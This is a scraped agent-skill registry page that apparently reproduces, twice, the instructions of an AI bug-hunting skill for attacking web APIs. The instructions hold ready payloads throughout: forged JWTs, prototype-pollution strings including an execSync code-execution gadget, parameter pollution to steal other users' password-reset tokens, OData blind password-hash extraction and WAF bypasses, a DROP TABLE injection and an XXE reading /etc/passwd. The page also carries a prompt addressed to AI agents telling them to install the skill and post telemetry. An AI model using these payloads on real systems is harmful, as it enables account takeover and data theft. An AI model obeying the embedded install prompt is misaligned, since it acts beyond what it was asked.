1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape. 2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input: `#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`. Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text. 3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the referenced account, the input is in a REST path segment. Then try appending route fragments such as `/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest of the original backend path with `#` or `%23` when the backend URL parser honors fragments. 4. **Discover API documentation from errors.** When an error says to consult the API definition, probe common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`, `/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources and field names. 5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a sensitive field such as a reset token or secret for another user, then using that token in the normal application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing feedback.
Payload patterns to try, adapted to the observed parameter name:
``` username=administrator%23 username=administrator%3f username=administrator%2f..%2fvictimuser username=administrator/../victimuser username=administrator/field/email%23 username=administrator/field/id%23 username=administrator/field/passwordResetToken%23 username=administrator%2ffield%2fpasswordResetToken%23 ```
### CORS Exploitation ```bash # Test: reflected origin + credentials curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me # If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true # → CRITICAL: attacker reads credentialed responses ```
---
## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
### Attack class 1 — Boolean-logic blind extraction via `startswith` / `substringof`
``` GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a') GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa') ```
Iterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`/`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https://www.stratussecurity.com/post/critical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https://thehackernews.com/2025/01/severe-security-flaws-patched-in.html))
### Attack class 2 — `$orderby` / `$select` column-disclosure bypass
``` GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname ```
`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` / `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
### Attack class 3 — `$batch` multipart/mixed → per-request WAF signatures miss sub-operations
``` POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1 --batch_1 Content-Type: application/http GET Users?$filter=1 eq 1 HTTP/1.1 --batch_1-- ```
WAFs that scan only the outer request body (or that don't natively parse `multipart/mixed`) skip every inner operation. ModSecurity refused `multipart/mixed` historically ([Issue #3296](https://github.com/owasp-modsecurity/ModSecurity/issues/3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https://www.f5.com/company/blog/securing-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https://arxiv.org/html/2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.
### Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
``` GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $ GET /api?%2524filter=... # double-encoded GET /Users(1)/$value # path-segment style ```
Mixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`/`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https://owasp.org/www-community/Double_Encoding))
### Attack class 5 — OData → real SQLi when library passes filter raw
``` $filter=Name eq 'x'); DROP TABLE Users--' ```
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData/WebApi Issue #2352](https://github.com/OData/WebApi/issues/2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>` in `application/xml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).
### Bonus — `$expand` navigation-property IDOR
``` GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card)) ```
Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https://www.upguard.com/breaches/power-apps)).
### Detection heuristics
- Response headers: `OData-Version: 4.0` / `DataServiceVersion: 3.0`; URL paths `/_api/`, `/odata/`, `/_vti_bin/`, `/api/data/v9.x/`, `/sap/opu/odata/`. - Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours. - Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=<column-you-shouldnt-see>` for column-level ACL. - Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.
---
## NSwag / Swagger / OpenAPI Spec Ex
Source provenance
Decision snapshot
4,072 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for hunt-api-misconfig, ready for a manual X post.
hunt-api-misconfig: Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tamperin... 4.1K stars https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=x
Listing + install path for hunt-api-misconfig: https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig/audit)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)elementalsouls
@elementalsouls
Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.
Do not auto-install
Wazuh
Wazuh - The Open Source Security Platform. Unified XDR and SIEM protection for endpoints and cloud workloads.
16.3K StarsMaigret
🕵️♂️ Collect a dossier on a person by username from 3000+ sites
32.9K StarsNuclei
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
29.2K StarsInfisical
Infisical is the open-source platform for secrets, certificates, and privileged access management.
27.4K StarsDo not auto-install
Install targets
Codex install prompt
Install the "hunt-api-misconfig" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-api-misconfig. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto). After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-hunt-api-misconfig","task":"Install hunt-api-misconfig","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Deep research, source comparison, literature review, RAG, knowledge search, and reports.
Scenario
Research agents
I need my agent to research a topic, compare sources, and produce a concise report.
Agent fit
Claude Code + Browser agents + CLI
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Maintenance
fresh
5d since push
Risk
Needs review
Dependency or permission surface needs review
GitHub quality
4.1K
83/100 Quality · 66/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Do not auto-installTrust Score v5 found insufficient evidence for agent installation. Treat this as discovery material, not an executable recommendation.
Audit
Needs reviewA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Choose a stronger alternative or inspect the source manually before any install attempt.
Stars
4.1K GitHub stars
Repo activity
4.1K stars, 633 forks
Maintenance
5d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigDo not use when
Agent safety v2
This skill should not be selected by an agent without explicit human security review.
Do not auto-install. Inspect the source, dependencies, and permission surface first.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill may drive a browser or interact with web pages.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-hunt-api-misconfig/install
Agent should check
Copy prompt
Task: Use hunt-api-misconfig in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-hunt-api-misconfig/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-hunt-api-misconfig/install
LLM text format
/api/skills/elementalsouls-hunt-api-misconfig/install?format=text
Find alternatives
/api/skills/search?q=hunt-api-misconfig&limit=3
Agent prompt
Use hunt-api-misconfig for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-hunt-api-misconfig/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-hunt-api-misconfig
LLM text
/api/registry/manifest/elementalsouls-hunt-api-misconfig?format=text
Install alias
/api/registry/install/elementalsouls-hunt-api-misconfig
Recommend
/api/registry/recommend?task=Use%20hunt-api-misconfig%20in%20an%20agent%20workflow&limit=3
Agent fit
Research agents
Use-case tags
Platforms
Claude Code, Browser agents
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Research agents
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Trust Score v5 found insufficient evidence for agent installation. Treat this as discovery material, not an executable recommendation.
GitHub adoption
PASS4.1K GitHub stars
Stars/forks activity
PASS4.1K stars, 633 forks; issue activity unavailable in current metadata
Recent maintenance
PASS5d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Choose a stronger alternative or inspect the source manually before any install attempt.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Investigate faster
I need my agent to research a topic, compare sources, and produce a concise report.
Parse messy files
I need my agent to read PDFs, extract tables, and turn documents into structured data.
Manage repositories
I need my agent to triage GitHub issues, review pull requests, and summarize repository changes.
Workflow fit
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Scrape, clean, and reuse web data
A practical workflow for agents that crawl public pages, extract clean content, normalize data, and hand it to downstream research or RAG workflows.
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Alternative shortlist
Similar skills that may fit this task.
Wazuh - The Open Source Security Platform. Unified XDR and SIEM protection for endpoints and cloud workloads.
🕵️♂️ Collect a dossier on a person by username from 3000+ sites
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
Infisical is the open-source platform for secrets, certificates, and privileged access management.
--- name: hunt-api-misconfig description: "Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto)." sources: hackerone_public, owasp_api_top10_2023, public_research report_count: 0 ---
## 12. API SECURITY MISCONFIGURATION
### Mass Assignment ```javascript User.update(req.body) // body has {"role": "admin"} → privilege escalation ```
### JWT None Algorithm ```python header = {"alg": "none", "typ": "JWT"} payload = {"sub": 1, "role": "admin"} token = base64(header) + "." + base64(payload) + "." # no signature ```
### JWT RS256 → HS256 Algorithm Confusion ```python # Get server's public key from /.well-known/jwks.json # Sign token with public key as HMAC secret token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256") # Server uses RS256 key as HS256 secret → accepts it ```
### Prototype Pollution ```javascript // Server-side — Node.js merge without protection {"__proto__": {"admin": true}} {"constructor": {"prototype": {"admin": true}}} // URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin ```
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype state reaches a later operation.
Hunt sequence:
1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed. 2. **Pollute harmless marker properties.** Send variants such as:
``` {"__proto__":{"polluted":"pp-1337"}} {"constructor":{"prototype":{"polluted":"pp-1337"}}} __proto__[polluted]=pp-1337 constructor[prototype][polluted]=pp-1337 ```
3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes. 4. **Escalate only through learned sinks.** Candidate properties depend on the sink:
``` {"__proto__":{"json spaces":10}} {"__proto__":{"status":555}} {"__proto__":{"isAdmin":true,"role":"admin"}} {"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}} {"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}} ```
5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
### Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:
``` /api/internal/users/<username>/field/email /api/users/<id> /api/users?username=<username>&field=email ```
Hunt sequence:
1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape. 2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input: `#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`. Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text. 3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the referenced account, the input is in a REST path segment. Then try appending route fragments such as `/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest of the original backend path with `#` or `%23` when the backend URL parser honors fragments. 4. **Discover API documentation from errors.** When an error says to consult the API definition, probe common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`, `/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources and field names. 5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a sensitive field such as a reset token or secret for another user, then using that token in the normal application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing feedback.
Payload patterns to try, adapted to the observed parameter name:
``` username=administrator%23 username=administrator%3f username=administrator%2f..%2fvictimuser username=administrator/../victimuser username=administrator/field/email%23 username=administrator/field/id%23 username=administrator/field/passwordResetToken%23 username=administrator%2ffield%2fpasswordResetToken%23 ```
### CORS Exploitation ```bash # Test: reflected origin + credentials curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me # If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true # → CRITICAL: attacker reads credentialed responses ```
---
## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
### Attack class 1 — Boolean-logic blind extraction via `startswith` / `substringof`
``` GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a') GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa') ```
Iterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`/`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https://www.stratussecurity.com/post/critical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https://thehackernews.com/2025/01/severe-security-flaws-patched-in.html))
### Attack class 2 — `$orderby` / `$select` column-disclosure bypass
``` GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname ```
`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` / `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
### Attack class 3 — `$batch` multipart/mixed → per-request WAF signatures miss sub-operations
``` POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1 --batch_1 Content-Type: application/http GET Users?$filter=1 eq 1 HTTP/1.1 --batch_1-- ```
WAFs that scan only the outer request body (or that don't natively parse `multipart/mixed`) skip every inner operation. ModSecurity refused `multipart/mixed` historically ([Issue #3296](https://github.com/owasp-modsecurity/ModSecurity/issues/3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https://www.f5.com/company/blog/securing-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https://arxiv.org/html/2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.
### Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
``` GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $ GET /api?%2524filter=... # double-encoded GET /Users(1)/$value # path-segment style ```
Mixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`/`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https://owasp.org/www-community/Double_Encoding))
### Attack class 5 — OData → real SQLi when library passes filter raw
``` $filter=Name eq 'x'); DROP TABLE Users--' ```
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData/WebApi Issue #2352](https://github.com/OData/WebApi/issues/2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>` in `application/xml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).
### Bonus — `$expand` navigation-property IDOR
``` GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card)) ```
Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https://www.upguard.com/breaches/power-apps)).
### Detection heuristics
- Response headers: `OData-Version: 4.0` / `DataServiceVersion: 3.0`; URL paths `/_api/`, `/odata/`, `/_vti_bin/`, `/api/data/v9.x/`, `/sap/opu/odata/`. - Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours. - Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=<column-you-shouldnt-see>` for column-level ACL. - Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.
---
## NSwag / Swagger / OpenAPI Spec Ex
Source provenance
Decision snapshot
4,072 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for hunt-api-misconfig, ready for a manual X post.
hunt-api-misconfig: Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tamperin... 4.1K stars https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=x
Listing + install path for hunt-api-misconfig: https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig/audit)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)elementalsouls
@elementalsouls
Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.
Do not auto-install
Wazuh
Wazuh - The Open Source Security Platform. Unified XDR and SIEM protection for endpoints and cloud workloads.
16.3K StarsMaigret
🕵️♂️ Collect a dossier on a person by username from 3000+ sites
32.9K StarsNuclei
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
29.2K StarsInfisical
Infisical is the open-source platform for secrets, certificates, and privileged access management.
27.4K StarsDo not auto-install
Install targets
Codex install prompt
Install the "hunt-api-misconfig" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-api-misconfig. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto). After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-hunt-api-misconfig","task":"Install hunt-api-misconfig","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Deep research, source comparison, literature review, RAG, knowledge search, and reports.
Scenario
Research agents
I need my agent to research a topic, compare sources, and produce a concise report.
Agent fit
Claude Code + Browser agents + CLI
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Maintenance
fresh
5d since push
Risk
Needs review
Dependency or permission surface needs review
GitHub quality
4.1K
83/100 Quality · 66/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Do not auto-installTrust Score v5 found insufficient evidence for agent installation. Treat this as discovery material, not an executable recommendation.
Audit
Needs reviewA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Choose a stronger alternative or inspect the source manually before any install attempt.
Stars
4.1K GitHub stars
Repo activity
4.1K stars, 633 forks
Maintenance
5d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigDo not use when
Agent safety v2
This skill should not be selected by an agent without explicit human security review.
Do not auto-install. Inspect the source, dependencies, and permission surface first.
high
